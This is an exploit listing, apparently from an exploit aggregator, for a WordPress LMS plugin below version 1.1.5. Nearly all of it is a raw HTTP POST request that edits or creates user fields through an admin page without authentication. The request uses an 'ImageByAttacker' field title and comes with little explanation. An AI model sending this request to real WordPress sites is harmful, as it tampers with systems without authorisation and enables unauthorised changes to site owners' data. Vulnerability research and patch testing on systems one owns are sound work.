Exploit for WP LMS < 1.1.5 - Unauthenticated Arbitrary User Field Edition/Creation

Name: Exploit for WP LMS < 1.1.5 - Unauthenticated Arbitrary User Field Edition/Creation
Rating: 5 (382 reviews)

2021-08-02 | CVSS 1.5

## https://sploitus.com/exploit?id=WPEX-ID:56031D26-4B15-47D7-9FA3-135299D591DA
POST /wp-admin/admin.php?page=jslm_fieldordering&task=saveuserfield HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 208
Connection: close 

fieldtitle=ImageByAttacker&published=1&isvisitorpublished=1&required=0&search_user=1&search_visitor=1&form_request=jslearnmanager&id=28&isuserfield=0&fieldfor=3&save=Save